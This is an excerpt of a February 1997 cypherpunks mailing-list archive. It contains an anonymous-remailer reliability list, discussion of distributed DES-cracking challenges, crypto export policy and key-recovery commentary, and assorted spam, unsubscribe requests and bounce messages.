$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk mix pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 24 Feb 97 6:46:43 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ++#*+#++*#*#     3:57 100.00%
weasel   config@weasel.owl.de             ++++++--++++  1:00:37  99.99%
winsock  winsock@rigel.cyberpass.net      .-----.----+  6:43:17  99.91%
dustbin  dustman@athensnet.com            +---------+   3:38:39  99.87%
squirrel mix@squirrel.owl.de              + + ++--++++    59:34  99.83%
lucifer  lucifer@dhp.com                   +++-+--++++    44:49  99.81%
exon     remailer@remailer.nl.com          *#++# *+#*#     1:49  99.78%
cyber    alias@alias.cyberpass.net        +++*-*+-+ **    33:47  99.43%
extropia remail@miron.vip.best.com        - ---_.__..  28:37:50  99.10%
jam      remailer@cypherpunks.ca           ** _**** **    53:24  98.84%
middle   middleman@jpunix.com              --   -- --+  3:19:18  97.67%
reno     middleman@cyberpass.net           +++  - .- +  1:51:29  97.38%
replay   remailer@replay.com               ---++ --***    48:23  97.36%
balls    remailer@huge.cajones.com         *#_.-####    3:58:16  93.66%
haystack haystack@holy.cow.net              **+*   ##      6:32  91.52%
mix      mixmaster@remail.obscura.com     __          158:04:34  89.24%
shaman   remailer@lycaeum.org                        *    17:04  49.94%
wazoo    remailer@wazoo.com               +*+++           37:27  21.84%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 07:07:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: TMN_yet
Message-ID: <1.5.4.32.19970224150046.006fea50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received reports from Kuala Lumpur on the two TMnet 
hacks last week that led to a shutdown, with more detail than
Reuters:

TMN_yet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 07:10:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: BON_ker
Message-ID: <1.5.4.32.19970224150424.006fee44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-24-97:

"OECD to map out common security framework for online shopping"

"Big-Bank Group Seeks To Control Destiny Of Payment System"

"GTE Takes CyberTrust To Japan"

"GSA Announces Access America Plan"

   Key initiatives of the Access America plan, being run by the 
   GSA's Office of Government-wide Policy (OGP), include: providing 
   support to interagency groups; playing a central role in developing 
   card technologies; expanding the current electronic benefits transfer 
   (EBT) systems; and providing information technology training to
   government executives.

-----

BON_ker





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 08:49:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: CDM_aok
Message-ID: <1.5.4.32.19970224164243.00726864@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-24-97. Financial Times:

"Japan is poised to adopt CDMA for digital mobile phones,
dealing a blow to European ambitions to make GSM the
world standard."

Congrats to Qualcomm! 

Wonder if TIA/NSA is ready to bolster CAVE, or is this a 
anti-GSM global deal to boost crypto-weak wireless?

-----

CDM_aok





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vangelis <vangelis@qnis.net>
Date: Mon, 24 Feb 1997 14:00:08 -0800 (PST)
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <3312104C.4898@qnis.net>
MIME-Version: 1.0
Content-Type: text/plain


Marc Horowitz wrote:
> >> The "you must report results only to the crack organizers" rule can be
> >> enforced if it's made into a contract. Even without a formal contract,
> 
> I don't want to sign a formal contract.  I want to break the key.  I
> don't care about the money.  I can buy a lottery ticket if I want a
> small chance at winning a lot of money.

> I'll participate when I can download something, type make, run it, and
> forget about it.
 
My feelings EXACTLY.  And the same reasoning behind my machine not being
put to work on these DES/RC4 cracking projects.  Instead it spends its
off-cycles factoring Merseinne primes - why?  Because it's the only
charity I can donate my spare CPU power to, WITHOUT having to sign forms
and other beauracratic garbage.
-- 
Vangelis <vangelis@qnis.net> /\oo/\
Finger for public key. PGP KeyID 1024/A558B025
PGP Fingerprint AE E0 BE 68 EE 7B CF 04  02 97 02 86 F0 C7 69 25
Life is my religion, the world is my altar.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Mon, 24 Feb 1997 13:32:27 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <t53k9nx28nx.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry to flame, but I'm getting sick of this.

>> The "you must report results only to the crack organizers" rule can be
>> enforced if it's made into a contract. Even without a formal contract,

I don't want to sign a formal contract.  I want to break the key.  I
don't care about the money.  I can buy a lottery ticket if I want a
small chance at winning a lot of money.

I'll participate when I can download something, type make, run it, and
forget about it.

Invoving money money seems to be making it harder, not easier, to do
this.  I thought the reason to crack the key was to demonstrate how
weak DES is.  If the person who cracks the key collects the reward
himself, so what?  A good, public nail in the coffin of restrictions
on crypto is worth the risk that someone steals the $10k, IMHO.

I've got my idle cycles waiting....

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 14:10:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Site for Crypto Comments
Message-ID: <1.5.4.32.19970224220418.00822c1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Bureau of Export Administration has set up a Web page
to provide the public comments submitted on transferring encryption 
items from the US Munitions List to the Commerce Control List. 

Here's the URL and index of hyperlinked comments on 24 February 1997;
note the 12MB comments by Technical Communications Corp.:

http://www.bxa.doc.gov/pubcomts.htm

--------------------------------------------------------------------

                         Public Comments
               Encryption Items Transferred from the
                    U.S. Munitions List to the
                       Commerce Control List

                          December 30, 1996
                            (61 FR 68572)



  1. University of Waterloo, 32K 
  2. John and Laren Navas, 35K
  3. Cylink, 49K 
  4. Motorola, 212K
  5. Secure Computing, 78K 
  6. Tuttle and Taylor, 313K
  7. Lyman C. Welch, 78K 
  8. ISTAC, 138K 
  9. American Association for the Advancement of Science, 230K 
 10. Trusted information Systems, Inc., 240K 
 11. IBM, 251K 
 12. Hughes Electronics, 250K 
 13. Industry Coalition on Technology Transfer (ICOTT), 196K 
 14. Murphy & Weber, 120K 
 15. Steptoe & Johnson LLP, 229K 
 16. America Online, Inc., 238K 
 17. Citibank, 1296K
 18. NCR, 104K 
 19. American Civil Liberties Union (ACLU), 138K 
 20. United States Council for International Business, 449K 
 21. V-One, 134K 
 22. William A. Root, 525K 
 23. Thoroughbred Security Solutions, Ltd., 181K
 24. Microsoft, 2783K 
 25. Commercial Internet Exchange Association, 340K
 26. The Direct Marketing Association, Inc., 126K 
 27. Technical Communications Corp., 11896K 
 28. Software Publishers Association, 488K 
 29. Alston & Bird, 380K 
 30. Association for Computing Machinery, 417K 
 31. National Association of Manufacturers, 269K 
 32. Computer & Communications Industry Association, 374K 
 33. Dewey Ballantine, 284K 
 34. American Bankers Association, 482K 
 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 
 36. Winston & Strawn for ICOTT, 204K 
 37. Sun Microsystems, 331K 
 38. Key Escrow Working Group, 408K 
 39. Hewlett Packard, 336K 
 40. Scientific-Atlanta, Inc., 158K 
 41. Timothy Hinds, 66K 
 42. Information Security Incorporated, 119K 
 43. Securities Industry Association, 315K






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 25 Feb 1997 07:15:08 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
In-Reply-To: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970224182039.00625ce8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:44 AM 2/22/97 -0800, Toto wrote:
>Bill Stewart wrote:
>> >  DOD has for years pressured civilian agencies to use government 
>> >  escrow technology, but the agencies were wary of the law 
>> >  enforcement access.
>> >  Stephen Walker, president and chief executive officer of Trusted
>> >  Information Systems Inc. (TIS), said the policy will remove the 
>> >  last remnants of the Clipper and serve as an official endorsement
>> >  of key recovery technology.
>  So now civilian agencies should 'not' be wary of key recovery?
>  If the DOD recommended breathing, I'd stop.

It's nice to know that the NSA's own government hasn't trusted Clipper
enough to widely adopt it, and I was as impressed as you were with
Walker's sleaziness...  Either the civilian Feds don't believe the 
"legitimate needs of law enforcement" apply to them, or they don't trust 
the spooks to handle their keys carefully, or (more likely) there aren't
any Clipper products that really meet their operational needs.  

Back when the STU-III was still called the "Future Secure Voice System"
the DoD was telling manufacturers they'd probably sell 500,000 of them,
between the DoD unclassified work, law enforcement users, defense 
contractors, and similar riff-raff.  I don't know how many were actually 
sold, but I'd be surprised if it's a tenth of that; the government
was too cheap to spend $2-3K per box for that many users.

"Key Recovery" is a broader and sleazier term than "key escrow";
it doesn't force you to buy a specific espionage-enabled product,
as long as you can demonstrate to the government that they can break in.
Rot13 and RC4/40 inherently provide key recovery (:-),
and DES presumably does (using NSA custom hardware).  
But PGP also gives you key recovery - just Cc: your Trusted Third Party 
whenever you encrypt something......  (Hmmm.  I don't trust the
Democrat or Republican Parties - guess that leaves the Libertarians? :-)


P.S. On breathing - that's not DoD jurisdiction; the FDA regulates oxygen ...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Tue, 25 Feb 1997 08:40:09 -0800 (PST)
To: Vangelis <vangelis@qnis.net>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3312104C.4898@qnis.net>
Message-ID: <Pine.SUN.3.95.970225092251.18799A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Feb 1997, Vangelis wrote:

> > I don't want to sign a formal contract.  I want to break the key.  I
> > don't care about the money.  I can buy a lottery ticket if I want a
> > small chance at winning a lot of money.
> 
> > I'll participate when I can download something, type make, run it, and
> > forget about it.
>  
> My feelings EXACTLY.  And the same reasoning behind my machine not being
> put to work on these DES/RC4 cracking projects.  Instead it spends its
> off-cycles factoring Merseinne primes - why?  Because it's the only
> charity I can donate my spare CPU power to, WITHOUT having to sign forms
> and other beauracratic garbage.

For win32, just get deskr or brydDES. (For North Americans, a deskr beta
is available via http://www.csn.net/~mpj/crypto.htm; BrydDES is available
internationally at http://inet.uni-c.dk/~svolaf/des.htm). For the record,
Peter Trei is still unsure if my export controlled site is totally
EAR-compliant, so don't blame him if you don't think it is. I, however,
believe that it is fully compliant, knowing full well the ease of
bypassing it. Please don't -- it only eggs the feds into making the law
worse. Get BrydDES if you are outside of North America. It is faster,
anyway, so far, although Peter is gaining speed as he tweaks his code. 


 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mlmdream@concentric.net
Date: Tue, 25 Feb 1997 01:39:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Receive multiple checks while promoting only ONE company!!
Message-ID: <199702250914.KAA11867@tor.abc.se>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hello!

If you are in any Network Marketing program ask yourself 
this question...

WHY? Would you want to build a downline in just ONE
program and receive just ONE check?  When you could 
receive up to 20 CHECKS A MONTH with no more effort 
than just building a single downline!  

Because it's the smart thing to do!!! 

When you are ready to embark on this lucrative 
opportunity go sign up at 
http://members.tripod.com/~brianj/index.html
for a FREE web site to start building your downline.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Catherine Larsen <cwood@ucsd.edu>
Date: Tue, 25 Feb 1997 10:28:58 -0800 (PST)
To: czyz@cs.stanford.edu
Subject: take me off this list
Message-ID: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
MIME-Version: 1.0
Content-Type: text/plain


I don't know who generated this big long list, but please take me off. And
please, if you are replying to the first message about gifs, don't reply to
all, reply only to that one person who sent the message.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 25 Feb 1997 11:15:17 -0800 (PST)
To: postmaster@tripod.com
Subject: SPAMMER pretending to be on concentric.net using your system
In-Reply-To: <199702250914.KAA11867@tor.abc.se>
Message-ID: <3.0.1.32.19970225102834.0063ca68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I've attached the mail headers below.

At 10:14 AM 2/25/97 +0100, mlmdream@concentric.net wrote:
>I_Love_SPAM,
>
>Hello!
>
>If you are in any Network Marketing program ask yourself 
>this question...
>
>WHY? Would you want to build a downline in just ONE
>program and receive just ONE check?  When you could 
>receive up to 20 CHECKS A MONTH with no more effort 
>than just building a single downline!  
>
>Because it's the smart thing to do!!! 
>
>When you are ready to embark on this lucrative 
>opportunity go sign up at 
>http://members.tripod.com/~brianj/index.html
>for a FREE web site to start building your downline.
>

======================================================================
Here are the mail headers
======================================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
Received: from sirius.infonex.com (majordom@sirius.infonex.com
[206.170.114.2]) by ixmail1.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id BAA22800; Tue, 25 Feb 1997 01:56:44 -0800 (PST)
Received: (from majordom@localhost) by sirius.infonex.com (8.7.3/8.7.3) id
BAA29262 for cypherpunks-outgoing; Tue, 25 Feb 1997 01:49:08 -0800 (PST)
Received: from rigel.infonex.com (root@rigel.infonex.com [206.170.114.3])
by sirius.infonex.com (8.7.3/8.7.3) with ESMTP id BAA29257 for
<cypherpunks@sirius.infonex.com>; Tue, 25 Feb 1997 01:49:06 -0800 (PST)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.infonex.com
(8.7.3/8.7.3) with ESMTP id BAA05208 for <cypherpunks@cyberpass.net>; Tue,
25 Feb 1997 01:44:33 -0800 (PST)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id BAA16509;
Tue, 25 Feb 1997 01:39:44 -0800 (PST)
Received: from tor.abc.se (root@tor.abc.se [192.36.170.11]) by toad.com
(8.7.5/8.7.3) with SMTP id BAA16504; Tue, 25 Feb 1997 01:39:33 -0800 (PST)
From: mlmdream@concentric.net
Received: from Computer by tor.abc.se (SMI-8.6/SMI-SVR4)
	id KAA11867; Tue, 25 Feb 1997 10:14:07 +0100
Date: Tue, 25 Feb 1997 10:14:07 +0100
Message-Id: <199702250914.KAA11867@tor.abc.se>
To: cypherpunks@toad.com
Subject: Receive multiple checks while promoting only ONE company!!
Sender: owner-cypherpunks@sirius.infonex.com
Precedence: bulk
Reply-To: mlmdream@concentric.net
X-List: cypherpunks@cyberpass.net


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 12:55:17 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33135FE1.40E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Me too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 25 Feb 1997 13:35:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Welcome GameSpot and VideoGameSpot!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.9222.02251997100001.186810@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
ZDNET ANNOUNCEMENT          2/24/97
-----------------------------------------------------------------------

Do you like to play games? No, not those kinds of games! You know, PC or
video games. If the answer is absolutely, sometimes or even just maybe,
then you'll want to check out GameSpot and VideoGameSpot. These are the
hottest, and most fun sites on the Web for information about PC and video
games, bar none! (They are so good, they are now serving as the Games
Channel on ZDNet!)

GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
news, in-depth features, strategy guides, previews, hints and cheats on
all of the latest PC games and hardware. They cover everything from the
most hyper action games to the more sedate, but mind-wrenching puzzle
games, and give you what you need both before you buy a game and after you
bring it home. No one else's online coverage of the PC game industry even
comes close.

VideoGameSpot (www.videogamespot.com) provides this same information, but
about video games played on the Sega Saturn, Sony Playstation and
Nintendo64 consoles. Of course you can't download a demo of a video game,
so they provide custom quick-time movies to give you a tantalizing taste
of each title.

Both sites encourage readers to submit their own reviews of games. Think
their review stinks? Submit your own and show the world that you're the
real expert!

And if winning free games or hardware has appeal (not unlike a lemon),
then point old man browser over to these sites, PRONTO!! GameSpot and
VideoGameSpot give away thousands of dollars in prizes every month (almost
$40,000 in February). The contests are simple and fun, and there are
hundreds of winners who could tell you how easy it is to get a free game
in the mail. (Winner! Winner! Chicken Dinner!!)

To visit the sites, go to the URL's listed below, or link to them from the
ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
VideoGameSpot!

ZDNet Games
http://www.zdnet.com/games

GameSpot:
http://www.gamespot.com

VideoGameSpot:	
http://www.videogamespot.com

________________________________________________      

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
zdnet_announce-on@lists.zdnet.com       

You can leave the subject and body blank.       

--To unsubscribe to ZDNet Announcements, please send mail to:
zdnet_announce-off@lists.zdnet.com      

You can leave the subject and body blank.   
________________________________________________   

Powered by Mercury Mail: http://www.merc.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 13:36:39 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33136A83.79AA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Me too, also, as well.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Feb 1997 12:26:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: EI Comments Hypertext
Message-ID: <1.5.4.32.19970225202015.006e8270@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We're transcribing and hypertexting the 43 PDF-formatted 
Public Comments submitted to BXA on the transfer of 
encryption items from the USML to the CCL.

The first 19 comments are at:

  http://jya.com/bxapc1.htm  (194K)

1.  University of Waterloo
2.  John and Laren Navas
3.  Cylink
4.  Motorola
5.  Secure Computing
6.  Tuttle and Taylor
7.  Lyman C. Welch 
8.  ISTAC
9.  American Association for the Advancement of Science
10. Trusted information Systems, Inc.
11. IBM
12. Hughes Electronics
13. Industry Coalition on Technology Transfer (ICOTT)
14. Murphy & Weber for Nokia
15. Steptoe & Johnson LLP
16. America Online, Inc.
17. Citibank
18. NCR
19. American Civil Liberties Union (ACLU)

The others should be ready late tonight or tomorrow 
morning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 13:49:28 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33137917.3DE9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:03:49 -0800 (PST)
Subject: Failed mail
Message-ID: <ja219839.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219839; Tue, 25 Feb 1997 17:09:24 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:24 -0500
>Message-Id: <22092418045846@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:51 -0800 (PST)
Subject: Failed mail
Message-ID: <la219841.mbx>
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219841; Tue, 25 Feb 1997 17:09:26 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:26 -0500
>Message-Id: <22092695445848@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:57 -0800 (PST)
Subject: Failed mail
Message-ID: <ma219842.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219842; Tue, 25 Feb 1997 17:09:28 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:28 -0500
>Message-Id: <22092823645849@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:32 -0800 (PST)
Subject: Failed mail
Message-ID: <na219843.mbx>
